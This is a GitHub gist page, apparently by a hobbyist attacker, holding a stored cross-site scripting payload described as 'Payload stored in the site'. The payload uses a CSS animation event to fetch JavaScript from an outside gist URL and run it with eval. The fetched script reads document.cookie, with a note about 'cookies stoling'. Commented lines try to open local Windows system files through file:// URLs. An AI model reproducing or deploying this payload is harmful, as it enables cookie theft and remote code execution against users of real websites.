Last active
May 31, 2022 12:29
-
-
Save lostsh/1a963d8593623ee5a18df37e5933bbef to your computer and use it in GitHub Desktop.
let's do some sketchy things
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const interval = setTimeout(redirect, 5000); | |
function stopTimout() { | |
clearTimeout(interval); | |
} | |
function redirect(){ | |
stopTimout(); | |
console.log("Redirect"); | |
console.log(document.cookie); | |
} |
Payload stored in the site
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="function pwn(){fetch('https://gist.githubusercontent.com/lostsh/1a963d8593623ee5a18df37e5933bbef/raw/').then(function (resp) {return resp.text();}).then(function (data) {eval(data);});}; pwn();"></xss>
//location.href = "file:///C:/Windows/System32";
//window.open("file:///c:/windows/system32/drivers/etc/hosts");
//document.body.innerHTML = "<iframe src="file://localhost/c:/windows/system32/drivers/etc/hosts" onload="alert(iframe.contentDocument.body.innerHTML)" id="iframe"></iframe>";
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
cookies stoling (need update)
some save :